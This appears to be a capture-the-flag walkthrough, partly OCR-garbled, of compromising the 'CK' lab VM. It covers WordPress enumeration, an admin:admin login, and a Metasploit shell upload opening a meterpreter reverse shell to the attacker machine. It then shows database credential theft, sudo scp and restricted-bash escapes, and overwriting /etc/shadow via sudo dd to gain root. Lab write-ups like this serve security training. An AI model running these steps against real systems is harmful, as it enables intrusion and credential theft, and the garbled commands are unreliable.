CK

Discover target vm ip

```
192.168.2.95 08:00:27:1e:cd:e2
```

```
nmap default scripts scan
root@kali:~/Desktop# nmap -sC -p- ck.local
Starting Nmap 7.70 ( https://nmap.org ) at 2020-03-29 23:35 +08
Nmap scan report for ck.local (192.168.2.95)
Host is up (0.00060s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
  ssh-hostkey:
    2048 d2:6f:64:b5:4c:22:ce:b2:c9:8a:ab:57:0e:69:4a:0f (RSA)
    256 a8:6f:9c:0e:d2:ee:f8:73:0a:0f:5f:57:1c:2f:59:3a (ECDSA)
    256 10:8c:55:d4:79:7f:63:0f:ff:ea:c8:fb:73:1e:21:f6 (ED25519)
80/tcp open http
_http-generator: WordPress 5.2.2
 _http-title: CK~00 – Just another WordPress site
MAC Address: 08:00:27:1E:CD:E2 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 9.72 seconds
oot@kali:~/Desktop#
```

nmap version scan

wordpress enumeration

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

```
[+] Upload directory has listing enabled: http://ck.local/wp-content/uploads/
  | Found By: Direct Access (Aggressive Detection)
  | Confidence: 100%
```

```
[+] WordPress version 5.2.2 identified (Insecure, released on 2019-06-18).
| Detected By: Emoji Settings (Passive Detection)
| - http://ck.local/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.2.2'
| Confirmed By: Meta Generator (Passive Detection)
| - http://ck.local/, Match: 'WordPress 5.2.2'
```

```
[i] User(s) Identified:
```

[+] admin

Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
Confirmed By: Login Error Messages (Aggressive Detection)

- [+] Enumerating Vulnerable Plugins (via Passive Methods)
- [i] No plugins Found.

Bruteforce creds

Upload shell

```
Name
             Current Setting
                              Required Description
  PASSWORD
             admin
                                         The WordPress password to authenticate with
                               yes
                                         A proxy chain of format type:host:port[,type:host:port][...]
  Proxies
                                         The target address range or CIDR identifier
             192.168.2.95
                               yes
                                         The target port (TCP)
  RPORT
                               yes
                                        Negotiate SSL/TLS for outgoing connections
             false
  TARGETURI
                                         The base path to the wordpress application
                               yes
  USERNAME
             admin
                                         The WordPress username to authenticate with
                               yes
  VH0ST
                                        HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
  Name
         Current Setting Required Description
                          yes
  LHOST 192.168.2.100
                                     The listen address (an interface may be specified)
  LPORT 4444
                                     The listen port
                          yes
Exploit target:
  Id Name
      WordPress
```

reverse shell popped

```
msf5 exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 192.168.2.100:4444
[*] Authenticating with WordPress using admin:admin...
   Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/BPmVkAhhBl/PBJEjodkcM.php...
[*] Sending stage (38247 bytes) to 192.168.2.95
[*] Meterpreter session 1 opened (192.168.2.100:4444 -> 192.168.2.95:47196) at 2020-03-30 00:12:39 +0800
[+] Deleted PBJEjodkcM.php
[+] Deleted BPmVkAhhBl.php
[+] Deleted ../BPmVkAhhB1
meterpreter > id
[-] Unknown command: id.
meterpreter > getuid
Server username: www-data (33)
eterpreter >
```

```
python3 -c "import pty; pty.spawn('/bin/bash')"
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
www-data@ck00:$ |
```

Getting creds

```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'ck_wp' );

/** MySQL database username */
define( 'DB_USER', 'root' );

/** MySQL database password */
define( 'DB_PASSWORD', 'bla_is_my_password' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
```

```
User flag
```

```
www-data@ck00:/home$ cd ck
cd ck
www-data@ck00:/home/ck$ ls -Flah
ls -Flah
total 32K
drwxr-xr-x 4 ck-00 ck-00 4.0K Aug 3 2019 ./
drwxr-xr-x 5 root root 4.0K Aug 2 2019 ../
lrwxrwxrwx 1 root root 9 Aug 2 2019 .bash_history -> /dev/null
-rw-r--r-- 1 ck-00 ck-00 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 ck-00 ck-00 3.7K Apr 4 2018 .bashrc
drwx----- 2 ck-00 ck-00 4.0K Aug 2 2019 .cache/
drwx----- 3 ck-00 ck-00 4.0K Aug 2 2019 .gnupg/
-rw-r--r-- 1 ck-00 ck-00 807 Apr 4 2018 .profile
-rw-r--r-- 1 root root 103 Aug 3 2019 ck00-local-flag
www-data@ck00:/home/ck$ cat ck00-local-flag
cat ck00-local-flag
local.txt = 8163d4c2c7ccb38591d57b86c7414f8c
you got local flag
get the root shell and read root flag
www-data@ck00:/home/ck$
```

Bugged

```
www-data@ck00:/home/ck$ cat /etc/crontab
cat /etc/crontab
* * * * * /tmp/script.sh
```

username: bla

password: bla is my password

```
bla@ck00:~$ sudo -1
[sudo] password for bla:
Matching Defaults entries for bla on ck00:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin
User bla may run the following commands on ck00:
    (bla1) /usr/bin/scp
```

Privilege escalation to bla1 from bla

https://www.hackingarticles.in/linux-for-pentester-scp-privilege-escalation/

On framing below command, it will direct us on root shell as shown below and we will successfully accomplish our task.

```
| ecno 'sn v<&∠ 1>&∠' > $|F
3
   chmod +x "$TF"
4 sudo scp -S STF x y:
test@ubuntu:~$ sudo -l 👍
 latching Defaults entries for test on ubuntu:
   env reset, mail badpass,
   secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin
User test may run the following commands on ubuntu:
   (root) NOPASSWD: /usr/bin/scp
test@ubuntu:~$ TF=$(mktemp) 🧅
test@ubuntu:~$ echo 'sh 0<&2 1>&2' > $TF 📥
test@ubuntu:~$ chmod +x "$TF" 🤙
test@ubuntu:~$ sudo scp -S $TF x y: 🚓
 id=0(root) gid=0(root) groups=0(root)
```

```
bla@ck00:~$ chmod +x test.sh
bla@ck00:~$ cat test.sh
sh 0<&2 1>&2
```

```
$ /bin/bash -p
bla1@ck00:~$ sudo -1
Matching Defaults entries for bla1 on ck00:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin
User bla1 may run the following commands on ck00:
    (ck-00) NOPASSWD: /bin/rbash
bla1@ck00:~$
```

```
bla1@ck00:~$ sudo -u ck-00 /bin/rbash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ck-00@ck00:~$
```

```
ck-00@ck00:~$ sudo -1
Matching Defaults entries for ck-00 on ck00:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/shap/bin

User ck-00 may run the following commands on ck00:
    (root) NOPASSWD: /bin/dd
ck-00@ck00:~$
```

Breaking out of restricted bash

https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

Common Exploitation Techniques

Now let's see some of the common exploitation techniques.

- If "/" is allowed you can run /bin/sh or /bin/bash.
- If you can run cp command you can copy the /bin/sh or /bin/bash into your directory.
 - 3) From ftp > !/bin/sh or !/bin/bash
 - 4) From gdb > !/bin/sh or !/bin/bash
 - 5) From more/man/less > !/bin/sh or !/bin/bash
 - 6) From vim > !/bin/sh or !/bin/bash
 - 7) From rvim > :python import os; os.system("/bin/bash)
 - 8) From scp > scp -S /path/yourscript x y:
 - From awk > awk 'BEGIN {system("/bin/sh or /bin/bash")}'
- 10) From find > find / -name test -exec /bin/sh or /bin/bash \;

```
ck-00@ck00:~$ v1

$ id
uid=1000(ck-00) gid=1000(ck-00) groups=1000(ck-00),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
$ cd ..
$ pwd
/home
$ /bin/bash -p
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ck-00@ck00:/home$ cd
```

Privilege escalation to root

```
ck-00@ck00:/tmp$ sudo dd if=/etc/shadow of=/tmp/shadow
2+1 records in
2+1 records out
1305 bytes (1.3 kB, 1.3 KiB) copied, 0.00084648 s, 1.5 MB/s
```

```
root@kali:/tmp# mkpasswd -m SHA-512 password1234
$6$mLDni17G0f$1BGAPRTmXVb8sGS90bVKj12vQGvYIUGB.3lzoCE40jKNy3CtNPvjuep/vNDKABIuk65j76aP06ADd7BSXzQ0U1
```

```
ck-00@ck00:/tmp$ cp shadow shadow.1
ck-00@ck00:/tmp$ vi shadow.1
```

```
ck-00@ck00:/tmp$ cat shadow.1|grep root
root:$6$mLDn117G0f$1BGAPRTmXVb8sGS90bVKj12vQGvYIUGB.31zoCE40jKNy3CtNPvjuep/vNDKABIuk65j70aP06ADd7BSXzQ0U1:18110:
0:99999:7:::
```

```
ck-00@ck00:/tmp$ sudo -u root dd if=/tmp/shadow.1 of=/etc/shadow
2+1 records in
2+1 records out
1307 bytes (1.3 kB, 1.3 KiB) copied, 0.00136928 s, 955 kB/s
```

Escalating to root and flag.txt

ck-00@ck00:/tmp\$ su root Password:

```
root@ck00:/tmp# cd /root
root@ck00:~# ls -lah
total 48K
drwx----
            4 root root 4.0K Aug
                                     2019 .
                                  3
drwxr-xr-x 23 root root 4.0K Aug
                                  2
                                     2019 ...
                                     2019 .bash_history -> /dev/null
            1 root root
                           9 Aug
                                  2
lrwxrwxrwx
           1 root root 3.1K Apr
                                  9
                                     2018 .bashrc
-rw-r--r--
            1 root root 4.4K Aug
                                  3
                                     2019 ck00-root-flag.txt
            3 root root 4.0K Aug
                                 2
                                     2019 .gnupg
            1 root root
                         444 Aug
                                  2
                                     2019 .mysql_history
            1 root root
                         148 Aug 17
                                     2015 .profile
            2 root root 4.0K Aug
                                  2
                                     2019 .ssh
            1 root root 8.1K Aug
                                  3
                                     2019 .viminfo
root@ck00:~# cat ck00-root-flag.txt
```



end your report to our official mail : vishalbiswas4200gmail.co